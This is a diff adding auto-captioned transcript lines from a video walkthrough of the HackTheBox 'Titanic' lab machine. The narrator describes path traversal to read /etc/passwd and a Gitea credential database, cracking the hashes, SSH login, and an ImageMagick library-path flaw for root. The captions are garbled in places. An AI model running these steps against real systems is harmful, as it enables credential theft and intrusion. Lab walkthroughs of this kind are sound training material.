Add HackTheBox_-_Titanic.jsonl
Browse files- HackTheBox_-_Titanic.jsonl +95 -0
HackTheBox_-_Titanic.jsonl
ADDED
|
@@ -0,0 +1,95 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{"text": "What's going on, YouTube? This is IPS doing Titanic from Hack the Box, which is a nice easy box that starts off with a web page that supposedly cannot fail.", "start": 0.08, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 2 |
+
{"text": "It allows us to book trips on the Titanic. And this function is vulnerable to a file disclosure vulnerability.", "start": 7.839, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 3 |
+
{"text": "Poking around, we also discover git t is running. And we can use this file disclosure vulnerability to dump the git tsqlite database crack credentials and SSH into the box. Poking around, we discover there is a cron that is running an outdated version of image magic. And going to Google, it shows this version is vulnerable to a path injection-l like vulnerability that allows us to run code as root. So with that being said, let's just jump in. As always, we're going to start with the end map. So - SC for default scripts, SV enumerate versions, VVV for double verose. This gives us things like the TTL OA output all formats put in the end map directory and call it Titanic. And then the IP address of 10101.55.", "start": 13.679, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 4 |
+
{"text": "This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22 and the banner tells us it's an Ubuntu server. The second port is HTTP on port 80 and it's running Apache and also the banner is Ubuntu and it's redirecting us to Titanic.htb. So I'm going to go ahead and add this to my host file. So we'll do pseudo v etsy host and then add 10 10 1155 titanic.htb.", "start": 53.36, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 5 |
+
{"text": "Save that. And let's go ahead and check out the page. So, I'm going to go to http then titanic.htb and we just get a page that says welcome to the Titanic. So, we can click around to see if there's anything here. If we click book trip, we get some web form that pops up. Anything else? It looks like it's not like coded yet. We're not going anywhere. It's just this little anchor tag. If we click book now, we get the same thing. So, we could input data here, but normally the first thing I want to do is try to fingerprint what type of website this is, right? You could try like index.php. We get not found and you just may think this is not a PHP page. However, if you look at 404 pages a lot, you can tell this is the default for a flask. I just know based upon the string, right? Um, OXDF has been uh cataloging a lot of the default", "start": 81.52, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 6 |
+
{"text": "404 pages. So, if we just Google default default 404 pages, go to his blog and you can see a list of them here. So, we can see Flask and Django, they're pretty similar, right? But uh that's Flask and this is Django. Like not found one sentence, not found two sentences. It's kind of how I remember them. I don't remember all the exact words, but once you do it enough, you just start recognizing the 404s. So we know we're dealing with a uh Python application.", "start": 131.92, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 7 |
+
{"text": "Now, we could do a virtual host brute force or we could just start poking at the website, right? Um I would probably recommend doing a virtual host brute force just so you can have it running in the background, but I'm going to go and just book my trip, right? So, we're going to do ipsack route at ipsseack.rocks and we'll enter the phone number of all fives.", "start": 160.0, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 8 |
+
{"text": "I think that's it. Uh, let's do a travel date of one. We'll do 2026, I guess. And I'm going to send this over to Burpuite so we can see exactly what it's doing.", "start": 180.4, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 9 |
+
{"text": "You could also, if you didn't want to, just open up like dev tools and have this open and then see what the page does. I always just recommend it so when you submit it, you can see what happens, right? Right. So, in dev tools, you could click at it this way. Um, we did a post request of something. I guess I had to reload the page for it to show here because it's definitely not showing anything. Oh, it's not showing anything because it hasn't come back yet, right?", "start": 192.08, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 10 |
+
{"text": "Because I have it in Burp Suite. I'm just going to send this over.", "start": 214.959, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 11 |
+
{"text": "And now we can see it in this tab, right? It's trying to download a file.", "start": 219.44, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 12 |
+
{"text": "But if you wanted to, you don't need to use Burp for this. I think Burp just makes it a bit easier. But you can see all the information here, right? We sent a post to book and then we did a get on this file. And if we look at what we sent, we sent the form data and the response.", "start": 224.0, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 13 |
+
{"text": "Um, I'm surprised the response doesn't tell us the JSON. I don't know exactly how it gets to that, but we have it here. Let's see. Send.", "start": 242.159, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 14 |
+
{"text": "Okay, it's a 302 redirect. I'm not exactly sure why this didn't show it. Let's see.", "start": 254.959, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 15 |
+
{"text": "Response. Okay, 303. So, we have to look at the headers to actually see it redirecting to that JSON file.", "start": 263.04, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 16 |
+
{"text": "But let's see. So, we sent this form and it redirects us to this.", "start": 271.6, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 17 |
+
{"text": "And if it was just the UU ID, I would probably start trying like SQL injection. But because it put a file extension here, I'm thinking this could be like a file disclosure. Maybe it's like maybe the ticket is just a file on the database, right? So I'm going to just try the basic um path reversal of a bunch of dot dot slashes and then etsy pass WD. And we do have it. So we do have a file disclosure vulnerability. Now the very first thing I normally do is like a proc self environ and try to um read this doesn't always work. There's some edge cases where it does work but it's kind of a um weird file on the actual disc because let's see if we can see it on ours. So I go proc self, we do lsla gp environ, right? It says it's zero bytes, but if we cat it, it's got data. So it's just one of those", "start": 278.24, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 18 |
+
{"text": "weird files. Um, the web server likes just reading zero bytes because it sees zero bytes and then that's why we don't see things here. Sometimes you can put like a range header. I want to say like 0 to 104 bytes or something. I may be doing the range header incorrectly.", "start": 337.6, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 19 |
+
{"text": "Um, sometimes that works, but I don't think it works here at all. So, um, the next thing I would probably try doing is going into like proc selfcwd and start extracting the source code of the application, right? So, if it's flask, it's probably going to be like app.py, serve.py, something like that. So, let's try app.py.", "start": 354.16, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 20 |
+
{"text": "And we get it. So, we have the includes right here. And then just looking at this, I don't see any database. There's really nothing going on here. Um, so like we can just probably move on to try to enumerate something else. One of the things I will often do when having a file disclosure is try to see if I can enumerate a valid directory. Right? So if I say does not exist here, we'll get a 404 not found. If we just enter it, we get a 500 error. If we do Etsy, a 500 error. at CD for not found. So, we can enumerate if a directory exists, which is a little bit helpful for just um basic enumeration. I don't think it helps us here that much, but I figured I would call it out. I always also like looking at Etsy host.", "start": 374.56, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 21 |
+
{"text": "And here we see there is a second host name dev.titanic.htb.", "start": 424.4, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 22 |
+
{"text": "If we did the virtual host enumeration earlier, we would have found this domain. But let's go ahead and add this to a host file. So, pseudo vets host.", "start": 429.36, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 23 |
+
{"text": "And then we can add dev.titanic.htb and let's go take a look at this page.", "start": 437.52, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 24 |
+
{"text": "So I'm going to go to devt titanic.htb and we get a gt instance. If I click on explorer we have flask app and docker config. The flask app looks like it's going to be the application. Oh, we're in docker config right here. Flask app looks like it is the application of the booking system. this the source that we had access to. Um, and I think they're using the OS path exists wrong here and that's why we get the um thing right because what it's saying is if the path does not exist then say ticket not found but if the path does exist then we're going to send file and the error is I think os.path path exist will return true if it's a directory, right? Because the directory is part of a path. And then it goes down here and we're trying to read the contents of a directory and Python is saying, I don't know how to do this. And", "start": 442.639, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 25 |
+
{"text": "that's where we get the 500 error. If this was like Java, Java has a weird quirk where if you open a directory and read, then it just acts like um it's a directory listing of text and you can print out the contents that way. But Python doesn't have that behavior. Um, so let's now look at the other things.", "start": 499.199, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 26 |
+
{"text": "If we go into docker config, we can see the config for git t, we just have this compose file and we're mapping home developer gett data into data. So let's see if we can access home developer, right? So let's go to /home. We get a500. That means it exists. Developer, it still exists. Uh, what was the next one? Was it data?", "start": 518.32, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 27 |
+
{"text": "Uh 404 not found. It was not data. Get t data. So if we do get t get a 500 and then a 500. So we have confirmed we can go into the developers directory. Right? If we knew off the top of our head where like git t stores its config database and things like that, we could just go and grab it now. But I don't. I don't have all those things memorized. So what I'm going to do is copy the docker compose file. And then we're going to um make a directory to have it. So I'm just going to go in here and then we do v dockermpose.yamel paste that config docker compose up-d and we're going to um create this.", "start": 545.839, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 28 |
+
{"text": "Right? So now we can do docker compose exec.", "start": 588.72, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 29 |
+
{"text": "So now we have a shell in the gt instance of our local thing.", "start": 594.48, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 30 |
+
{"text": "And what was it? Like data. If I go in data, there's a git, get t, and ssh. So if I go into g get t, then we have conf log. I'm guessing there's going to be other things, but I don't have a full like instance of get t here. But if I go in comp, we have app.in. So that's what I want to read. So let's go back to burp and we can go get t data, then get t again. Then what was it? Um, I think it was conf app.in. Any was that? It it is. Awesome. So now we have the git te's configuration file. So let's see if we have any passwords here.", "start": 600.8, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 31 |
+
{"text": "We have a jwt secret. U there we go. The path is data gett.", "start": 640.64, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 32 |
+
{"text": "Db. So now let's go ahead and put this here.", "start": 647.2, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 33 |
+
{"text": "Uh we have two git ties back to back.", "start": 651.76, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 34 |
+
{"text": "And there we go. We have the SQLite database. So what I'm going to do is copy this and then let's just curl it, right? So I'm going to do a curl um http dev. Titanic.htb this o gett db and we can do sqlite 3 gett db.dump.", "start": 656.24, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 35 |
+
{"text": "Um, file is not a database.", "start": 681.92, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 36 |
+
{"text": "Not found.", "start": 690.48, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 37 |
+
{"text": "Oh, it's just itanic.htb, notdev.", "start": 692.64, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 38 |
+
{"text": "There we go.", "start": 698.32, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 39 |
+
{"text": "And there we go. We have dumped get t.", "start": 701.04, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 40 |
+
{"text": "So, we could do like a schema and find the users table, but there's so much data here. I'm just going to guess like select star from users. That's normally what is in database. Maybe user. And there we go. We have some data here.", "start": 703.04, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 41 |
+
{"text": "Now, git t doesn't store the hash all in one column. It's in like multiple and sums like B 64. I think we'd have to like um unhex this then B 64 um encode it in order to get it into a hashcat format. And we've done that before, but I'm just going to Google like um what is it? get t to hashcat and we can probably find a script that does this.", "start": 717.839, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 42 |
+
{"text": "Let's see right here probably because I know there's definitely a oneliner that will do it, but I'd rather just have a Python script. So, we can grab this. Let's go to view file uh raw.", "start": 743.68, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 43 |
+
{"text": "We can w get this.", "start": 763.519, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 44 |
+
{"text": "So, w get the script.", "start": 766.48, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 45 |
+
{"text": "And then, let's see. We probably got to go back twice to see how it's used.", "start": 769.36, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 46 |
+
{"text": "Let's see. This is the poll.", "start": 775.839, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 47 |
+
{"text": "See, conversation commit.", "start": 781.92, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 48 |
+
{"text": "I was hoping there was like a discussion on how to use this.", "start": 785.839, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 49 |
+
{"text": "Let's see.", "start": 793.6, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 50 |
+
{"text": "Okay, there we go. You can also dump the output straight. I bet if I do dash python 3 get t to hashcat-h.", "start": 795.44, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 51 |
+
{"text": "There we go. So, we can either give it the salt the hash and then hash 2 or we can just run this command SQL 83 get t.", "start": 804.72, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 52 |
+
{"text": "DB select salt password from user and then pipe it over to this. So let's try this.", "start": 812.56, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 53 |
+
{"text": "Um, chmod plus x get t do hashcat.", "start": 821.92, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 54 |
+
{"text": "Uh, let's just do python 3. There we go.", "start": 829.04, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 55 |
+
{"text": "We have both the hashes. Um, I don't like that it didn't put the user in front of it, but um, we'll just go ahead and start Kraken real quick. So, cd kraken. Let's go into my hashcat directory. Uh, put in the hashes.", "start": 833.12, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 56 |
+
{"text": "Titanic dot um I'll do get t paste these save. Then we can do dot slash hashcat the hashes opt word list rocku.ext text.", "start": 847.76, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 57 |
+
{"text": "And then let's see. Um, we'll just add the user here.", "start": 864.16, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 58 |
+
{"text": "Maybe it's like username.", "start": 875.36, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 59 |
+
{"text": "Not exactly sure, but we did get one cracked already. So, we have this as a potential password. 25282 whatever. Um let's just do a where's my select from users?", "start": 884.16, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 60 |
+
{"text": "Let's just go here. Select star from user.", "start": 903.199, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 61 |
+
{"text": "Let's see administrator or developer.", "start": 907.44, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 62 |
+
{"text": "So let's do view v users administrator developer.", "start": 910.72, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 63 |
+
{"text": "And then I'm going to use net exec SSH uh 1010 11155-U users-p and we'll put in this password.", "start": 916.72, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 64 |
+
{"text": "And let's see if we get a hit. And hashcat's still attempting to crack the um other one. But there we go. We have developer. So we can do sh developer at 1010 11155.", "start": 928.32, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 65 |
+
{"text": "Uh yes, log in.", "start": 941.839, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 66 |
+
{"text": "And here we go. I'm going to exit out of hashcat because we definitely don't need it now.", "start": 945.12, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 67 |
+
{"text": "And let's see what do we have. Um, we do lsla. We just have user.ext my SQL get t. Uh, let's go. CD etsy Apache 2 sites enabled. Uh, we have our flask app and that's running on port 5000. LS for dubdubdub html. Don't have anything there. Get T is probably going to be a Docker.", "start": 951.6, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 68 |
+
{"text": "That's 30,00. Let's do groups. We're a member of a Docker group. We are not. I said Docker just because the um get t instance had a Docker compose, right? A lot of times Python applications are in /op. If we do SLOP, there is a app directory and that's probably going to be the Python application. But we also have scripts.", "start": 979.6, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 69 |
+
{"text": "So if we go into scripts, we have one called identify images.sh.", "start": 1002.72, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 70 |
+
{"text": "So let's cat this out to see what it does. We're going to do a change directory to this. We're going to truncate S0 metadata.log and then we're going to run this command finding JPEGs and then piping it over to magic. So my first thing is let's do a lsla on this. And we see metadata.log is within a minute, right? So, we know data is constantly being ran here. We do apef-forest.", "start": 1008.079, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 71 |
+
{"text": "Uh, we can only see processes we start.", "start": 1039.199, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 72 |
+
{"text": "So, I'm not going to run like peace spy and try to snoop in on if there's a cron running this, how is this running? Um, we don't have access to see that. Let's see what else could we do. Um, if you're curious why we can't see other processes, if you look at the FS tab, um, let's see.", "start": 1041.839, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 73 |
+
{"text": "I was pretty sure it's here. No exact rout hide pit two. There we go. Um this is going to hide the process of other users, right?", "start": 1062.64, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 74 |
+
{"text": "But all we have now is we're assuming um this script is executed on a cron because metadata.log is from a very recent time. So let's see how we could potentially exploit this. Right, we have a find. It's looking for everything star.jpeg and this is quoted. So, we can't do any type of argument injection here, right? If this wasn't quoted, then we could potentially abuse this dur put a space in and then use other arguments.", "start": 1071.52, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 75 |
+
{"text": "But since that is quoted, we're locked into that name and can't do anything.", "start": 1097.52, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 76 |
+
{"text": "We'll pipe into xergs and then we don't have any arguments here. We just have this magic binary. So, I'm going to execute this with a -v uh once dash version and let's see if there's any vulnerabilities in this. So, we got image magic. Uh, this. So, I'm going to go ahead and copy this. Let's turn my burp suite off so it goes a little bit faster. Go to Google and I'm just going to search this with exploit and see if we find anything. Uh, there is a GitHub advisory and there's two.", "start": 1101.84, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 77 |
+
{"text": "Let's see.", "start": 1138.799, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 78 |
+
{"text": "So, installation auto detect vulnerable version. So, this is going to be a exploit script. I would probably work, but I'd rather just um look at exactly how this works.", "start": 1140.96, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 79 |
+
{"text": "Okay, this looks like it is. So, the app image version of image magic might use an empty path when setting configure path and LD library path, which can lead to arbitrary um code execution. So essentially this is a path injection vulnerability and it's going to give us I think two PC's um let's see this is getting it. So we create a XML file and then this is going to be the contents of it and then when we run um magic against this we get code execution. So let's try this. Um, I'm just going to go into devshm.", "start": 1155.28, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 80 |
+
{"text": "And then we can say, uh, we can actually just cat this file real quick. There we go. And then it just wants uh, magic. Let's do identify like this.", "start": 1195.84, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 81 |
+
{"text": "Um, what was that script?", "start": 1211.919, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 82 |
+
{"text": "Uh, it is doing it's probably um that XRS is putting the file name here. So, let's give it the um delegated.xml file. And we can see it's not going to work I think because um maybe it's just not vulnerable to um the identify. Let's see magic and then oh we have version identify unable to open. How are they running it?", "start": 1217.12, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 83 |
+
{"text": "/out.png.", "start": 1267.28, "duration": 0.0, "meta": {"video_id": "2tQ3VhdwVsU", "title": "HackTheBox - Titanic", "url": "https://www.youtube.com/watch?v=2tQ3VhdwVsU"}}
|
| 84 |
+
